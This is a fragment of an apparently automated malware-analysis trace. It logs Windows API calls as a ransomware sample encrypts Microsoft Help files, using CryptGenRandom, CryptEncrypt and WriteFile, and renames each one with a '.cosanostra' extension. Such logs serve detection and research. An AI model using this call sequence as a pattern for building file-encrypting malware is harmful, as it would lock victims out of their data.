(lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 65 [0095.043] StrStrW (lpFirst="MS.MSACCESS.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.044] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.044] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf264*=0x170, lpOverlapped=0x0) returned 1 [0095.044] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.044] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x2abf2a4*, lpNumberOfBytesWritten=0x2abf264*=0x4, lpOverlapped=0x0) returned 1 [0095.044] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf264*=0x30, lpOverlapped=0x0) returned 1 [0095.044] CloseHandle (hObject=0x180) returned 1 [0095.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.cosanostra") returned 76 [0095.044] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn.cosanostra")) returned 1 [0095.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2a8 | out: pbBuffer=0x2abf2a8) returned 1 [0095.045] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2a0*=0x30) returned 1 [0095.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.045] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 61 [0095.045] StrStrW (lpFirst="MS.MSACCESS.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.046] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.046] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf264*=0x158, lpOverlapped=0x0) returned 1 [0095.046] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.046] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x2abf2a4*, lpNumberOfBytesWritten=0x2abf264*=0x4, lpOverlapped=0x0) returned 1 [0095.046] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf264, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf264*=0x30, lpOverlapped=0x0) returned 1 [0095.046] CloseHandle (hObject=0x180) returned 1 [0095.047] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.cosanostra") returned 72 [0095.047] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn.cosanostra")) returned 1 [0095.047] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2a0 | out: pbBuffer=0x2abf2a0) returned 1 [0095.047] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf298*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf298*=0x30) returned 1 [0095.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.048] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 67 [0095.048] StrStrW (lpFirst="MS.INFOPATHEDITOR.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.049] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.049] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf25c*=0x17c, lpOverlapped=0x0) returned 1 [0095.049] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.049] WriteFile (in: hFile=0x180, lpBuffer=0x2abf29c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x2abf29c*, lpNumberOfBytesWritten=0x2abf25c*=0x4, lpOverlapped=0x0) returned 1 [0095.049] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf25c*=0x30, lpOverlapped=0x0) returned 1 [0095.049] CloseHandle (hObject=0x180) returned 1 [0095.050] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.cosanostra") returned 78 [0095.050] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn.cosanostra")) returned 1 [0095.050] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2a0 | out: pbBuffer=0x2abf2a0) returned 1 [0095.050] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf298*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf298*=0x30) returned 1 [0095.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.051] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 61 [0095.051] StrStrW (lpFirst="MS.INFOPATH.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.052] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.052] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf25c*=0x158, lpOverlapped=0x0) returned 1 [0095.052] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.052] WriteFile (in: hFile=0x180, lpBuffer=0x2abf29c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x2abf29c*, lpNumberOfBytesWritten=0x2abf25c*=0x4, lpOverlapped=0x0) returned 1 [0095.052] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf25c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf25c*=0x30, lpOverlapped=0x0) returned 1 [0095.052] CloseHandle (hObject=0x180) returned 1 [0095.052] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.cosanostra") returned 72 [0095.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn.cosanostra")) returned 1 [0095.053] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf298 | out: pbBuffer=0x2abf298) returned 1 [0095.053] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf290*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf290*=0x30) returned 1 [0095.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.055] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 59 [0095.055] StrStrW (lpFirst="MS.GROOVE.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.055] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.055] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf254*=0x14c, lpOverlapped=0x0) returned 1 [0095.056] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x180, lpBuffer=0x2abf294*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x2abf294*, lpNumberOfBytesWritten=0x2abf254*=0x4, lpOverlapped=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf254*=0x30, lpOverlapped=0x0) returned 1 [0095.056] CloseHandle (hObject=0x180) returned 1 [0095.056] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.cosanostra") returned 70 [0095.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn.cosanostra")) returned 1 [0095.057] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf298 | out: pbBuffer=0x2abf298) returned 1 [0095.057] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf290*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf290*=0x30) returned 1 [0095.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.057] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 58 [0095.057] StrStrW (lpFirst="MS.GRAPH.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.058] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.058] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf254*=0x146, lpOverlapped=0x0) returned 1 [0095.058] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.058] WriteFile (in: hFile=0x180, lpBuffer=0x2abf294*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x2abf294*, lpNumberOfBytesWritten=0x2abf254*=0x4, lpOverlapped=0x0) returned 1 [0095.058] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf254, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf254*=0x30, lpOverlapped=0x0) returned 1 [0095.058] CloseHandle (hObject=0x180) returned 1 [0095.058] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.cosanostra") returned 69 [0095.058] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn.cosanostra")) returned 1 [0095.060] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf290 | out: pbBuffer=0x2abf290) returned 1 [0095.060] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf288*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf288*=0x30) returned 1 [0095.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.061] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 62 [0095.061] StrStrW (lpFirst="MS.EXCEL.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.062] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.062] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf24c*=0x15e, lpOverlapped=0x0) returned 1 [0095.062] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.062] WriteFile (in: hFile=0x180, lpBuffer=0x2abf28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x2abf28c*, lpNumberOfBytesWritten=0x2abf24c*=0x4, lpOverlapped=0x0) returned 1 [0095.062] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf24c*=0x30, lpOverlapped=0x0) returned 1 [0095.062] CloseHandle (hObject=0x180) returned 1 [0095.062] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.cosanostra") returned 73 [0095.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn.cosanostra")) returned 1 [0095.063] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf290 | out: pbBuffer=0x2abf290) returned 1 [0095.063] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf288*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf288*=0x30) returned 1 [0095.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.063] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 58 [0095.063] StrStrW (lpFirst="MS.EXCEL.14.1033.hxn", lpSrch=".txt") returned 0x0 [0095.064] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.064] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf24c*=0x146, lpOverlapped=0x0) returned 1 [0095.064] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.064] WriteFile (in: hFile=0x180, lpBuffer=0x2abf28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x2abf28c*, lpNumberOfBytesWritten=0x2abf24c*=0x4, lpOverlapped=0x0) returned 1 [0095.064] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf24c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf24c*=0x30, lpOverlapped=0x0) returned 1 [0095.064] CloseHandle (hObject=0x180) returned 1 [0095.064] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.cosanostra") returned 69 [0095.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn.cosanostra")) returned 1 [0095.065] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf288 | out: pbBuffer=0x2abf288) returned 1 [0095.065] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf280*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf280*=0x30) returned 1 [0095.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.066] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn") returned 44 [0095.066] StrStrW (lpFirst="Hx.hxn", lpSrch=".txt") returned 0x0 [0095.066] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.066] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x2abf244, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf244*=0x186, lpOverlapped=0x0) returned 1 [0095.066] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.066] WriteFile (in: hFile=0x180, lpBuffer=0x2abf284*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf244, lpOverlapped=0x0 | out: lpBuffer=0x2abf284*, lpNumberOfBytesWritten=0x2abf244*=0x4, lpOverlapped=0x0) returned 1 [0095.067] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf244, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf244*=0x30, lpOverlapped=0x0) returned 1 [0095.067] CloseHandle (hObject=0x180) returned 1 [0095.067] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.cosanostra") returned 55 [0095.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Hx.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\hx.hxn.cosanostra")) returned 1 [0095.067] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf278 | out: pbBuffer=0x2abf278) returned 1 [0095.067] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf270*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf270*=0x30) returned 1 [0095.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\.." (normalized: "c:\\users\\all users\\microsoft\\wwansvc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf278 | out: pbBuffer=0x2abf278) returned 1 [0095.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf270*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf270*=0x30) returned 1 [0095.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\." (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf270 | out: pbBuffer=0x2abf270) returned 1 [0095.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf268*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf268*=0x30) returned 1 [0095.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\.." (normalized: "c:\\users\\all users\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf270 | out: pbBuffer=0x2abf270) returned 1 [0095.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf268*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf268*=0x30) returned 1 [0095.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\WwanSvc\\." (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf260 | out: 